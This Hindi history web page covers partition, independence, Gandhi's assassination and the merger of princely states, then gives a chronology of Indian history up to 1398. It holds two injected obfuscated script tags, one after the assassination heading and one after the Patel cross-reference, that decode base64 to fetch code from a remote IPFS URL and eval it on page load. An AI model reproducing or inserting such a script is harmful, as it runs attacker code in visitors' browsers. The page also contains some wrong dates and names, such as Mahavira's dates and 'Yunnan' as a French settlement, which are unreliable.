कुछ ब्रिटिश अफ़सरों ने भारत को स्वाधीन होने से रोकने के लिए अंतिम दुर्राभ संधि की और मुसलमानों की भारत विभाजन करके पाकिस्तान की स्थापना की माँग का समर्थन करना शुरू कर दिया। इसके फलस्वरूप अगस्त 1946 ई. में सारे देश में भयानक सम्प्रदायिक दंगे शुरू हो गये, जिन्हें वाइसराय लॉर्ड वेवेल अपने समस्त फ़ौजी अनुभवों तथा साधनों बावजूद रोकन में असफल रहा। यह अनुभव किया गया कि भारत का प्रशासन ऐसी सरकार के द्वारा चलाना सम्भव नहीं है। जिसका नियंत्रण मुध्य रूप से अंग्रेजों के हाथों में हो। अतएव सितम्बर 1946 ई. में लॉर्ड वेवेल ने पंडित जवाहर लाल नेहरू के नेतृत्व में भारतीय नेताओं की एक अंतरिम सरकार गठित की। ब्रिटिश अधिकारियों की कृपापात्र होने के कारण मुस्लिम लीग के दिमाग़ काफ़ी ऊँचे हो गये थे। उसने पहले तो एक महीने तक अंतरिम सरकार से अपने को अलग रखा, इसके बाद वह भी उसमें सम्मिलित हो गयी।

स्वाधीनता और उसके बाद

15 अगस्त 1947 का अख़बार
Newspaper Of 15th August 1947

भारत का संविधान बनाने के लिए एक भारतीय संविधान सभा का आयोजन किया गया। 1947 ई. के शुरू में लॉर्ड वेवेल के स्थान पर लॉर्ड माउंटबेटेन वाइसराय नियुक्त हुआ। उसे पंजाब में भयानक सम्प्रदायिक दंगों का सामना करना पड़ा। जिनको भड़काने में वहाँ के कुछ ब्रिटिश अफसरों का हाथ था। वह प्रधानमंत्री एटली के नेतृत्व में ब्रिटेन की सरकार को यह समझाने में सफल हो गया कि भारत का भारत और पाकिस्तान के रूप में विभाजन करके उसे स्वाधीनता प्रदान करने से शान्ति की स्थापना सम्भव हो सकेगी और ब्रिटेन भारत में अपने व्यापारिक हितों को सुरक्षित रख सकेगा। 3 जून 1947 को ब्रिटिश सरकार की ओर से यह घोषणा कर दी गयी कि भारत का; भारत और पाकिस्तान के रूप में विभाजन करके उसे स्वाधीनता प्रदान कर दी जायगी। ब्रिटिश पार्लियामेंट ने 15 अगस्त 1947 को इंडिपेडंस आफ इंडिया एक्ट पास कर दिया। इस तरह भारत उत्तर पश्चिमी सीमा प्रान्त, बलूचिस्तान, सिंध, पश्चिमी पंजाब, पूर्वी बंगाल तथा पश्चिम बंगाल के मुस्लिम बहुल भागों से रहित हो जाने के बाद, सात शताब्दियों की विदेशी पराधीनता के बाद स्वाधीनता के एक नये पथ पर अग्रसर हुआ।

गांधी जी की हत्या

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

स्वाधीन भारत को जिन समस्याओं का सामना करना पड़ा, वे सरल नहीं थीं। उसे सबसे पहले साम्प्रदायिक उन्माद को शान्त करना था। भारत ने जानबूझकर धर्म निरपेक्ष राज्य बनना पसंद किया। उसने आश्वासन दिया कि जिन मुसलमानों ने पाकिस्तान को निर्गमन करने के बजाय भारत में रहना पसंद किया है उनको नागरिकता के पूर्ण अधिकार प्रदान किये जायेंगे। हालाँकि पाकिस्तान जानबूझकर अपने यहाँ से हिन्दुओं को निकाल बाहर करने अथवा जिन हिन्दुओं ने वहाँ रहने का फैसला किया था, उनको एक प्रकार से द्वितीय श्रेणी का नागरिक बना देने की नीति पर चल रहा था। लॉर्ड माउंटबेटेन को स्वाधीन भारत का पहला गवर्नर जनरल बनाये रखा गया और पंडित जवाहर लाल नेहरू तथा अंतरिम सरकार में उनके कांग्रसी सहयोगियों ने थोड़े से हेरफेर के साथ पहले भारतीय मंत्रिमंडल का निर्माण किया। इस मंत्रिमंडल में सरदार पटेल तथा मौलाना अबुलकलाम आज़ाद का तो सम्मिलित कर लिया गया था, परन्तु नेताजी के बड़े भाई शरतचंद्र बोस को छोड़ दिया गया। 30 जनवरी 1948 ई. को नाथूराम गोडसे नामक हिन्दू ने राष्ट्रपिता महात्मा गाँधी की हत्या कर दी। सारा देश शोक के सागर में डूब गया। नौ महीने के बाद, पाकिस्तान के पहले गवर्नर जनरल मुहम्मद अली जिन्नाहकी भी मृत्यु हो गयी। उसी वर्ष लॉर्ड माउंटबेटेन ने भी अवकाश ग्रहण कर लिया और चक्रवर्ती राजगोपालाचारी भारत के प्रथम और अंतरिम गवर्नर जनरल नियुक्त हुए।

रियासतों का विलय

अधिकांश देशी रियासतों ने , जिनके सामने भारत अथवा पाकिस्तान में विलय का प्रस्ताव रखा गया था, भारत में विलय के पक्ष में निर्णय लिया, परन्तु, दो रियासतों—कश्मीर तथा हैदराबाद ने कोई निर्णय नहीं किया। पाकिस्तान ने बलपूर्वक कश्मीर की रियासत पर अधिकार करने का प्रयास किया, परन्तु अक्टूबर 1947 ई. में कश्मीर के महाराज ने भारत में विलय की घोषणा कर दी और भारतीय सेनाओं को वायुयानों से भेजकर श्रीनगर सहित कश्मीरी घाटी तक जम्मू की रक्षा कर ली गयी। पाकिस्तानी आक्रमणकारियों ने रियासत के उत्तरी भाग पर अपना क़ब्ज़ा बनाये रखा और इसके फलस्वरूप पाकिस्तान से युद्ध छिड़ गया। भारत ने यह मामला संयुक्त राष्ट्र संघ में उठाया और संयुक्त राष्ट्र संघ ने जिस क्षेत्र पर जिसका क़ब्ज़ा था, उसी के आधार पर युद्ध विराम कर दिया। वह आज तक इस सवाल का कोई निपटारा नहीं कर सका है। हैदराबाद के निज़ाम ने अपनी रियासत को स्वतंत्रता का दर्जा दिलाने का षड़यंत्र रचा, परन्तु भारत सरकार की पुलिस कार्रवाई के फलस्वरूप वह 1948 ई. में अपनी रियासत भारत में विलयन करने के लिए मजबूर हो गये। रियासतों के विलय में तत्कालीन गृहमंत्री सरदार बल्लभ भाई पटेल की मुख्य भूमिका रही। इन्हें भी देखें: सरदार पटेल<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संघ राज्यों का विलय

भारतीय संविधान सभा के द्वारा 26 नवम्बर 1949 में संविधान पास किया गया। भारत का संविधान अधिनियम 26 जनवरी 1950 को लागू कर दिया गया। इस संविधान में भारत को लौकतांत्रिक गणराज्य घोषित किया गया था और संघात्मक शासन की व्यवस्था की गयी थी। डाक्टर राजेन्द्र प्रसाद को पहला राष्ट्रपति चुना गया और बहुमत पार्टी के नेता के रूप में पंडित जवाहर लाल नेहरू ने प्रधान मंत्री का पद ग्रहण किया। इस पद पर वे 27 मई 1964 ई. में, अपनी मृत्यु तक बने रहे। नवोदित भारतीय गणराज्य के लिए उनका दीर्घकालीन प्रधानमंत्रित्व बड़ा लाभदायी सिद्ध हुआ। उससे प्रशासन तथा घरेलू एवं विदेश नीतियों में निरंतरता बनी रही। पंडित नेहरू ने वैदेशिक मामलों में गुट-निरपेक्षता की नीति अपनायी और चीन से राजनयिक सम्बन्ध स्थापित किये। फ्राँस ने 1951 ई. में चंद्रनगर शान्तिपूर्ण रीति से भारत का हस्तांतरित कर दिया। 1956 ई. में उसने अन्य फ्रेंच बस्तियाँ (पांडिचेरी, कारीकल, माहे तथा युन्नान) भी भारत को सौंप दीं। पुर्तग़ाल ने फ्राँस का अनुसरण करने और शान्तिपूर्ण रीति से अपनी पुर्तग़ाली बस्तियाँ (गोवा, दमन और दीव) छोड़ने से इंकार कर दिया। फलस्वरूप 1961 ई. में भारत को बलपूर्वक इन बस्तियों को लेना पड़ा[7]। इस तरह भारत का एकीकरण पूरा हो गया।

इतिहास तिथि क्रम 1947 तक
क्रम तिथि क्रम विवरण
1 7000 ई.पू. राजस्थान (साम्भर) में बोने पौधे के प्रथम साक्ष्य।
2 6000 ई.पू. मेहरगढ़ (सिंध-बलूचिस्तान सीमा), बुर्ज़होम (कश्मीर) में भारत के प्राचीनतम आवास, कृषि तथा पशुपालन के अवशेष
3 5000–4000 ई.पू. बागोर (भीलवाड़ा) तथा आदमगढ़ (होशंगाबाद) के निकट आखेटकों द्वारा भेड़-बकरी पालन के प्रथम अवशेष।
4 4000–3000 ई.पू. खेतिहारों-पशुपालकों की स्थानीय सभ्यताएँ।
5 2500 ई.पू. सिंधु घाटी में पूर्व-हड़प्पा सभ्यता के नगरों का विकास, अस्थि एवं प्रस्तर उपकरण तथा मनकों के आभूषण के अवशेष।
6 2500–1750 ई.पू. रेडिया-कार्बन तिथि-निर्धारण के आधार पर हड़प्पा सभ्यता का काल-विस्तार।
7 2250–2000 ई.पू. हड़प्पा सभ्यता का पूर्ण-विकसित दौर, विघटन तथा स्थानीय सभ्यताओं का उदय।
8 1500 ई.पू. भारत में आर्यों का आगमन, ऋग्वेद की रचना, वैदिक काल (1500-1000) प्रारम्भ, गंगा के मैदान में आर्योत्तर ताम्र सभ्यता।
9 1000 ई.पू. आर्यों का (गंगा मैदान) विस्तार, उत्तर वैदिक काल प्रारम्भ, 'ब्राह्मण ग्रन्थों' की रचना, वर्ण व्यवस्था का बीजारोपण, लौह धातु का प्रयोग प्रारम्भ।
10 950 ई.पू. महाभारत का युद्ध।
11 800 ई.पू. महर्षि व्यास के द्वारा महाभारत महाकाव्य की रचना, आर्यों का दक्षिण-पूर्व (बंगाल) की ओर विस्तार, रामायण का प्रथम वृत्तान्त।
12 600–550 ई.पू. उपनिषदों की रचना, आर्यों का विदर्भ तथा गोदावरी तक दक्षिण-विस्तार। सोलह महाजनपदों की स्थापना, आर्य सभ्यता में कर्मकाण्डीय अनुष्ठान प्रतिष्ठित।
13 563–483 ई.पू. बौद्ध धर्म के संस्थापक गौतम बुद्ध का जीवन काल, जन्म-लुम्बिनी, मृत्यु-कुशीनगर
14 599–257 ई.पू. जैन धर्म के पुनर्प्रतिष्ठापक वर्धमान महावीर का काल (जन्म-कुन्डग्राम, वैशाली), मृत्यु-पावापुरी, कुशीनगर
15 544–492 ई.पू. गौतम बुद्ध के समकालिक बिम्बिसार (हर्यक वंश) का राज्यकाल, मगध राज्य की श्रेष्ठता।
16 517–509 ई.पू. हखमनी वंश (ईरान) के सम्राट डेरियस प्रथम के साथ प्रथम विदेशी आक्रमण, आर्यों की पराजय, यूनानी नौ-सेनापति स्काइलैक्स द्वारा सिन्धु नदी पर गवेषण अभियान।
17 492–460 ई.पू. बिम्बिसार के पुत्र अजातशत्रु का राज्यकाल।
18 412–344 ई.पू. शिशुनाग वंश का शासनकाल, अवन्ति के प्रद्यौत वंश का मगध साम्राज्य में विलय।
19 400 ई.पू. सम्पूर्ण दक्षिण भारत में आर्यों का प्रभुत्व, सम्भवतः श्रीलंका तक विस्तार। (दक्षिण भारत)
20 344 ई.पू. महापद्मनन्द द्वारा मगध में नंदवंश की स्थापना।
21 326 ई.पू. नंद वंशी राजा घनानंद की सैन्य शक्ति से प्रभावित होकर सिकन्दर के सैनिकों का वापस लौटने का इरादा, वापसी मार्ग में बेबीलोन में सिकन्दर की मृत्यु।
22 322 ई.पू. चंद्रगुप्त मौर्य द्वारा (कौटिल्य की मदद से) नंद शासक घनानंद को पराजित कर मौर्य वंश की स्थापना।
23 315 ई.पू. इण्डिका के लेखक तथा सेल्युकस (यूनानी शासक) के दूत मेगस्थनीज़ का भारत में आगमन।
24 298–273 ई.पू. चन्द्रगुप्त मौर्य के पुत्र बिन्दुसार का राज्य काल।
25 273–232 ई.पू. अशोक का शासनकाल, मौर्यवंश का स्वर्णयुग, अशोक द्वारा कलिंग की विजय (262-61)।
26 185 ई.पू. अन्तिम मौर्य शासक बृहद्रथ की हत्या कर मौर्य सेनापति पुष्यमित्र शुंग द्वारा शुंग वंश की स्थापना।
27 190–171 ई.पू. यवन शासक डेमेट्रियस का राज्यकाल।
28 165 ई.पू. कलिंग शासक खारवेल द्वारा 'त्रमिरदेश संघटम' (पाण्ड्य, चोल) राज्य पर विजय।
29 155–130 ई.पू. सबसे प्रसिद्ध यवन शासक 'मिनान्डर' (मिलिन्द) का राज्यकाल।
30 145 ई.पू. चोल राजा एलारा की श्रीलंका के शासक असेल पर विजय तथा लगभग 50 वर्षों तक शासन।
31 128 ई.पू. यूची आक्रमण के भय से शक क़बीलों का भारत में पंजाब से प्रवेश।
32 71 ई.पू. शुंग वंश के अन्तिम सम्राट देवभूति की हत्या, वसुदेव के द्वारा कण्व वंश की स्थापना।
33 60 ई.पू. आन्ध्र में सिमुक द्वारा सातवाहन वंश की स्थापना।
34 58 ई.पू. उज्जैन के शासक विक्रमादित्य द्वारा विक्रम संवत का प्रारम्भ।
35 50 ई.पू. दक्षिण भारत (दक्कन) में सातवाहन वंश शुरू।
36 22 ई.पू. रोम के शासक आगस्टस के दरबार में पाण्ड्य राजदूत पहुँचा, चोल, पाण्ड्यों का रोम में व्यापारिक सम्बन्ध।
37 14–13 ई. शक (हिन्द-पार्थियन) शासक गोंडोफ़ॅरस का शासन, ईसाई धर्म प्रचार हेतु रोमन संत सेंट टामस का भारत में आगमन।
38 15 ई. कुषाणों (यूची का तोचारियन) का भारत में प्रवेश।
39 64 ई. उत्तर-पश्चिमी भारत में शक विम कडफ़ाइसिस का राज्य।
40 78 ई. कुषाण वंश के महानतम शासक कनिष्क का राज्यारोहण, उसके द्वारा शक संवत का प्रारम्भ।
41 78–101 ई. कनिष्क का शासनकाल, चौथी बौद्ध संगीति का (कश्मीर में) आयोजन।
42 100 ई. अश्वघोष द्वारा 'सौन्दरानन्द' तथा 'बुद्धचरित' एवं 'कुमारलाट' के द्वारा 'कल्पमंदितिका' की रचना।
43 100–200 ई. संगम युग, करिकाल का शासन (त्रिचनापल्ली के निकट कावेरी नदी पर सिंचाई बाँध का निर्माण)। (दक्षिण भारत)
44 109–132 ई. महानतम सातवाहन शासक गौतमीपुत्र सातकर्णि द्वारा राज्य विस्तार।
45 150 ई. बघेलखण्ड, वाराणसी तथा आगे चलकर मथुरा तक के क्षेत्र में भारशिव नागाओं की विभिन्न शाखाओं का राज्य।
46 200–250 ई. सातवाहनों का पतन, महाराष्ट्र में आभीर, उत्तरी कनारा तथा मैसूर ज़िलों में कुन्तल और कटु, आन्ध्र में इक्ष्वाकु तथा विदर्भ में वाकाटकों की सत्ता स्थापित।
47 300–888 ई. कांची में पल्लवों का शासनकाल। (दक्षिण भारत)
48 225 ई. विंध्यशक्ति द्वारा वाकाटक शासन की स्थापना, अगले 272 वर्षों तक इस वंश का शासन।
49 250 ई. नासिक में आभीरों द्वारा त्रैकुटकर वंश की स्थापना, अगले 250 वर्षों तक इस वंश का शान।
50 320–335 ई. चन्द्रगुप्त प्रथम ने गुप्त वंश को स्थापित किया।
51 325 ई. कृष्णा नदी के दक्षिण में पल्लव वंशी राज्य की स्थापना।
52 335–376 ई. समुद्रगुप्त का शासनकाल।
53 330–375 ई. सम्पूर्ण उत्तर भारत में समुद्रगुप्त का शासन। पूर्व में असम, पश्चिम में काबुल, उत्तर में नेपाल तथा दक्षिण में पल्लवों तक, केवल उज्जैन स्वतंत्र (शक वंश के अधीन)।
54 350 ई. मयूरशर्मन द्वारा कदम्ब वंश की स्थापना जो अगले 200 वर्षों तक विद्यमान रहा।
55 375–413 ई. चन्द्रगुप्त द्वितीय विक्रमादित्य द्वारा उज्जैन, मालवा तथा गुजरात पर विजय, राजधानी पाटलिपुत्र से अयोध्या और तत्पश्चात कौशाम्बी स्थानान्तरित, चीनी यात्री फ़ाह्यान का भारत आगमन।
56 415–454 ई. कुमारगुप्त प्रथम का शासनकाल, नालन्दा में बौद्ध विहार तथा विश्वविद्यालय की स्थापना, हुणों के आक्रमण का ख़तरा।
57 455–467 ई. स्कन्दगुप्त का शासनकाल, हूणों का भारत पर प्रथम आक्रमण तथा उनकी पराजय।
58 477–496 ई. बुद्धगुप्त गुप्तवंश का अन्तिम सम्राट, गुप्तवंश का विघटन प्रारम्भ।
59 490–766 ई. सौराष्ट्र के बल्लभी क्षेत्र में मैत्रक (सम्भवतः विदेशी मूल) आक्रामकों का शासन। (पश्चिम भारत)
60 500–502 ई. हूणों के प्रथम शासक तोरमाण द्वारा भारत में राज्य स्थापना तथा मध्यवर्ती भाग (मालवा में एरण) तक उसका विस्तार।
61 500–757 ई. पश्चिम तथा मध्य दक्कन में वातापी का प्रथम चालुक्य वंश। (दक्षिण भारत)
62 502–528 ई. तोरमाण का उत्तराधिकारी मिहिरकुल भारत में गुप्त शासक भानुगुप्त द्वारा पराजित, एरण पर गुप्तवंश का पुनः अधिकार, (510)।
63 533 ई. मंदसौर के यशोधर्मन की मिहिरकुल पर विजय।
64 540 ई. परवर्ती गुप्त तथा गुप्त वंश की मुख्य शाखा का अन्त।
65 550–861 ई. मध्य राजपूताना में मध्य एशिया में आये हुए गुर्जर खानाबदोश दलों का शासन स्थापित। (पश्चिम भारत)
66 600–1200 ई. मौखरि वंश के शासक यशोवर्मन की मृत्यु (752), उत्तर, मध्य, पश्चिम तथा दक्षिण भारत में अनेक सामंतों के द्वारा स्वतंत्रता की घोषणा, अनेक छोटे-बड़े राज्यों का उदय, बंगाल में गौड़, खंग, वर्मन, पाल तथा सेन वंश, उज्जैन में गुर्जर-प्रतिहार, कन्नौज में प्रतिहार, उड़ीसा में भौम, भंज, सोम तथा पूर्वी गंग वंश, असम में भास्कर वर्मा, गुजरात में चालुक्य, धारा में परमार, नर्मदा-त्रिपुरी तथा उत्तर प्रदेश में कलचुरी, राजस्थान में चाहमान (चौहान), बुंदेलखण्ड में चंदेल, कन्नौज में गहड़वाल, कश्मीर में कार्कोट, उत्पल तथा लोहार, अफ़ग़ानिस्तान-पंजाब में हिन्दुशाही वंश
67 606–647 ई. हर्ष (पुष्यभुति या कान्यकुब्ज वंश) का शासनकाल। चीनी बौद्ध यात्री ह्वेन त्सांग का भारत आगमन (630-44), बाणभट्ट ने 'हर्षचरित' की रचना की।
68 630–970 ई. पूर्वी दक्कन में वेंगी के पूर्वी चालुक्यों का शासनकाल। (दक्षिण भारत)
69 636–637 ई. ख़लीफ़ा उमर के समय में अरबों का भारत पर पहला अभिलिखित हमला। (दक्षिण भारत)
70 643 ई. चीनी यात्री ह्वेनसांग की चीन वापसी। (दक्षिण भारत)
71 647 ई. तिब्बत से कन्नौज आते हुए ह्वेन सांग पर किसी स्थानीय सामंत के द्वारा हमला। हर्षवर्धन की मृत्यु। (दक्षिण भारत)
72 674 ई. विक्रमादित्य प्रथम, चालुक्य और परमेश्वर वर्मन प्रथम, पल्लव शासक बने। (दक्षिण भारत)
73 675–685 ई. तीसरे चीन यात्री इत्सिंग का नालन्दा आवास। (दक्षिण भारत)
74 700 ई. कन्नौज में यशोवर्मन (मौखरि वंश) सिंहासनारूढ़, संस्कृत नाट्यकार भवभूति तथा प्राकृत कवि वाक्पतिराज को उसके राजदरबार में संरक्षण।
75 700–900 ई. दक्षिण भारत में आलवारों (वैष्णव) का भक्ति आंदोलन, भक्ति संग्रह 'प्रबंधम्' की रचना। (दक्षिण भारत)
76 712 ई. मुहम्मद बिन क़ासिम के नेतृत्व में भारत पर प्रथम अरब आक्रमण, मैत्रक राज्य का पतन। (पश्चिम भारत), मुहम्मद बिन क़ासिम का सिन्ध पर आक्रमण, देवलगढ़ विजय, निरुन की लड़ाई में हिन्दू राजा दाहिर की मृत्यु, क़ासिम की ब्राह्मणाबाद पर विजय।
77 730 ई. कन्नौज में मौखरी शासक यशोवर्मन सिंहासनरुढ़।
78 753–774 ई. ख़लीफ़ा मंसूर के काल में ब्रह्मगुप्त के 'ब्रह्म सिद्धान्त' तथा 'खण्डनखाड्य' का अल्फ़जारी द्वारा अरबी में अनुवाद।
79 757–973 ई. मान्यखेत में राष्ट्रकूटों का शासनकाल। (दक्षिण भारत)
80 740–1036 ई. उत्तर भारत में गुर्जर-प्रतिहारों का आधिपत्य, अरबों का प्रतिरोध। (उत्तरी भारत)
81 746–974 ई. छाप या छापौटकट्ट, गुर्जर क़बीले द्वारा 746 के आसपास अन्हिलपुर (आनन्दपुर) की स्थापना, जो 15वीं शती तक पश्चिम भारत का प्रमुख नगर रहा। (पश्चिम भारत)
82 786–808 ई. ईरानी शासक ख़लीफ़ा हारून-अल-रशीद का शासनकाल, बरमस्क (एक मन्त्री) द्वारा भारत के अनेक वैद्यों, ज्योतिषियों, रसायनशास्त्रियों, विचारकों को बग़दाद बुलाकर उनसे इन विषयों के अनेक ग्रन्थों का अरबी में अनुवाद करवाया।
83 824–924 ई. वैष्णव भक्तिकाल।
84 831–1310 ई. चन्देलों द्वारा बुंदेलखण्ड में स्वतंत्र राज्य की स्थापना, अनेक विष्णु मन्दिरों और खजुराहों के मन्दिरों का भी निर्माण। (पश्चिम भारत)
85 840–890 ई. सतलुज से नर्मदा नदी तक मिहिरभोज या भोज का शासन। (पश्चिम भारत)
86 950–1200 ई. इंदौर के पास धारा में परमारों का राज्य, जिनमें मुंज (974-994) तथा भोज प्रसिद्ध राजा हुए, भोज ज्योतिष, काव्यशास्त्र, वास्तुकला तथा संस्कृति का विद्वान था। (पश्चिम भारत)
87 973–1189 ई. कल्याणी का द्वितीय चालुक्य वंश। (दक्षिण भारत)
88 974–1240 ई. चालुक्यों का अन्हिलपुर, सौराष्ट्र तथा आबू क्षेत्र में प्रभुत्व, चालुक्य शासक मूलराज का शासन काल (974-995)। (पश्चिम भारत)
89 985–1014 ई. चोल शासक राजराज का शासनकाल, भूमि-सर्वेक्षण का प्रारम्भ (1000 ई.)। (दक्षिण भारत)
90 986–87 ई. खुरासनी शासक अलप्तगीन के ग़ुलाम सुबुक्तगीन का काबुल-कंधार में हिन्दुशाही शासक जयपाल पर प्रथम आक्रमण, जयपाल पराजित।
91 997–998 ई. सुबुक्तगीन की मृत्यु, महमूद गजनवी खुरासान की गद्दी पर बैठा।
92 999 ई. बग़दाद के ख़लीफ़ा द्वारा महमूद गजनवी को स्वतुत्र शासक के रूप में मान्यता।
93 1000 ई. महमूद गजनवी का भारत पर (काबुल में) प्रथम आक्रमण, स्थानीय जनता पर लूट तथा जबरन धर्म परिवर्तन।
94 1002 ई. महमूद गजनवी का तीसरा आक्रमण, आनन्दपाल से युद्ध तथा उसकी पराजय।
95 1010 ई. आनन्दपाल अपमानजनक शर्तों पर महमूद गजनवी का सामंत बना।
96 1011–1012 ई. महमूद का थानेश्वर पर हमला, उत्तर-पश्चिम भारत में हिन्दुशाही वंश के छोटे-बड़े सभी राज्य ध्वस्त।
97 1013 ई. आनन्दपाल की मृत्यु, पुत्र त्रिलोचनपाल उत्तराधिकारी बना।
98 1014 ई. तोषी की लड़ाई में त्रिलोचनपाल परास्त, झेलम तक का क्षेत्र महमूद गजनवी के राज्य में सम्मिलित।
99 1014–1044 ई. चोल राजा राजेन्द्र का शासनकाल, श्रीलंका की विजय (1018), बंगाल पर आक्रमण (1021)। (दक्षिण भारत)
100 1017 ई. शंकराचार्य के 'मायावाद' का खंडन कर विशिष्टाद्वैतवाद मत की स्थापना करने वाले वैष्णव आचार्य रामानुज का जन्म।
101 1018–1019 ई. महमूद गजनवी का गंगा नदी-यमुना दोआब क्षेत्र पर क़ब्ज़ा।
102 1025–1026 ई. गजनवी के द्वारा सोमनाथ मन्दिर (गुजरात) की लूट।
103 1026 ई. अन्तिम हिन्दूशाही शासक भीमपाल की मृत्यु, काबुल-कंधार के हिन्दुशाही वंश का अन्त।
104 1027 ई. जाटों को कुचलने के लिए महमूद गजनवी का भारत (गुजरात-सिन्ध) पर 17वाँ व अन्तिम आक्रमण।
105 1030 ई. महमूद गजनवी की मृत्यु; मसूद, गजनी का सुल्तान, 'किताब-उल-हिन्द' के लेखक अलबेरूनी का भारत आगमन।
106 1043 ई. स्थानीय हिन्दू राजाओं का लाहौर पर पुनः अधिकार कर स्वाधीन राज्य स्थापित करने का प्रयास विफल।
107 1044–52 ई. राजेन्द्र के उत्तराधिकारी राजाधिराज प्रथम का शासनकाल। (दक्षिण भारत)
108 1052–64 ई. राजेन्द्र द्वितीय का शासनकाल। (दक्षिण भारत)
109 1064–70 ई. वीर राजेन्द्र चोल का शासनकाल। (दक्षिण भारत)
110 1070–1120 ई. कुलोत्तुंग प्रथम का शासनकाल, आन्ध्र का चोल राज्य में विलेय (1076)। (दक्षिण भारत)
111 1120–1267 ई. परवर्ती चोल शासकों का काल। (दक्षिण भारत)
112 1131 ई. कर्नाटक में लिंगायत सम्प्रदाय के संस्थापक संत बासवेश्वर या बासव का जन्म। (दक्षिण भारत)
113 1137 ई. विशिष्टाद्वैतवाद मत के विचारक संत रामानुजाचार्य का देहान्त।
114 1162 ई. द्वैतवादी वैष्णव संत निम्बार्क स्वामी का जन्म।
115 1163 ई. मुइजुद्दीन मोहम्मद गौरी गजनी का शासन बना।
116 1167 ई. संत बाससेश्वर का निधन।
117 1191 ई. तराईन के प्रथम युद्ध में राजपूत शासक पृथ्वीराज तृतीय के हाथों मुहम्मद गोरी पराजित।
118 1192 ई. तराईन का दूसरा युद्ध, मोहम्मद गौरी के हाथों पृथ्वीराज तृतीय की हार, गौरी का ग़ुलाम कुतुबुद्दीन ऐबक भारत का सूबेदार नियुक्त, मेरठ एवं कौल (अलीगढ़) पर अधिकार।
119 1192–1193 ई. दिल्ली पर कुतुबुद्दीन ऐबक का आधिपत्य।
120 1199 ई. द्वैतवादी सम्प्रदाय के आचार्य महादेव मध्वाचार्य का जन्म।
121 1200 ई. मोहम्मद गौरी की मृत्यु।
122 1206 ई. कुतुबुद्दीन ऐबक द्वारा 'दिल्ली सल्तनत' की स्थापना; दिल्ली सल्तनत पर शासन करने वाले प्रथम वंश- 'इल्बरी वंश' की स्थापना; क़ुतुबमीनार का निर्माण आरम्भ।
123 1210 ई. ऐबक की मृत्यु, आरामशाह उत्तराधिकारी बना।
124 1211–1236 ई. इल्तुतमिश का शासनकाल, रणथम्भौर विजय (1226)।
125 1221 ई. भारत पर चंगेज़ ख़ाँ का हमला।
126 1228 ई. बग़दाद के ख़लीफ़ा से इल्तुतमिश को 'खिल्लत' अर्थात् 'इस्लामी शासक के रूप में मान्यता'।
127 1229 ई. प्रथम यूरोपीय यात्री मान्टे कैर्बनो (इटली) का भारत आगमन।
128 1236 ई. इल्तुतमिश के उत्तराधिकारी रुकुनुद्दीन फ़ीरोज़शाह की मृत्यु, रजिया सुल्तान गद्दी पर बैठी।
129 1239 ई. इख़्तियारुद्दीन अल्तूनिया का विद्रोह।
130 1240 ई. रजिया सुल्तान की हत्या।
131 1241 ई. भारत पर मंगोलों का प्रथम आक्रमण।
132 1246 ई. सुल्तान नसीरुद्दीन गद्दी पर आसीन, 1265 में उसकी मृत्यु।
133 1253 ई. अमीर ख़ुसरो का जन्म।
134 1266 ई. गयासुद्दीन बलबन गद्दी पर बैठा।
135 1279 ई. महाराष्ट्र में संत सम्मेलन का आयोजन।
136 1279 ई. बंगाल में तुगरिल ख़ाँ का विद्रोह।
137 1286 ई. बलबन की मृत्यु।
138 1288–1293 ई. प्रसिद्ध वेनिश यात्री मार्को पोलो की भारत यात्रा।
139 1290 ई. जलालुद्दीन ख़िलजी दिल्ली का सुल्तान, ख़िलजी वंश की स्थापना।
140 1294 ई. अलाउद्दीन ख़िलजी का देवगिरि अभियान।
141 1295–1316 ई. अलाउद्दीन ख़िलजी दिल्ली का सुल्तान, राज्य-विस्तार अभियान प्रारम्भ; गुजरात (1299), रणथम्भौर (1301), चित्तौड़ (1303), मालवा (1305), मलिक काफ़ूर के नेतृत्व में दक्कन अभियान, 1320-1325-अलाउद्दीन की मृत्यु
142 1320–1325 ई. ग़यासुद्दीन तुग़लक़ (गाज़ी मलिक) दिल्ली का सुल्तान बना, तुग़लक़ वंश की स्थापना, काकतीय तथा पाण्ड्यों के राज्य का दिल्ली सल्तनत में विलय (1321-1323)।
143 1325 ई. ग़यासुद्दीन की मृत्यु, मुहम्मद बिन तुग़लक़ गद्दी पर आसीन, अमीर ख़ुसरो की मृत्यु, फैंसिस्कन पादरी आडोरिक आफ़ पोर्डेनॉन की भारत यात्रा।
144 1326–1327 ई. मुहम्मद तुग़लक़ द्वारा दिल्ली से दौलताबाद राजधानी का स्थानान्तरण।
145 1330 ई. मुहम्मद तुग़लक़ द्वारा प्रयोग के तौर पर सोने के स्थान पर ताँबे के सिक्के जारी किए गए।
146 1333 ई. अफ़्रीकी यात्री इब्नबतूता की भारत यात्रा।
147 1336 ई. हरिहर एवं बुक्का द्वारा विजयनगर राज्य की स्थापना।
148 1342 इब्नबतूता का चीन को प्रस्थान।
149 1347 ई. अलाउद्दीन बहमन शाह प्रथम के द्वारा बहमनी राज्य की स्थापना।
150 1350 ई. विद्यापति का जन्म, संत नामदेव का निधन।
151 1351 ई. मुहम्मद तुग़लक़ की मृत्यु, फ़िरोज़ शाह तुग़लक उत्तराधिकारी बना।
152 1351–1388 ई. सुल्तान फ़िरोज़ शाह तुग़लक का राज्यकाल, बंगाल अभियान (1353-54, 1359, 1369), कांगड़ा विजय (1360-61), थट्टा विजय (1371-72), फ़िरोज की मृत्यु।
153 1388–1414 ई. परवर्ती तुग़लक़ शासकों का शासनकाल।
154 1398 ई. तैमूर लंग का भारत पर आक्रमण, दिल्ली पर अधिकार, भारत में अराजकता।
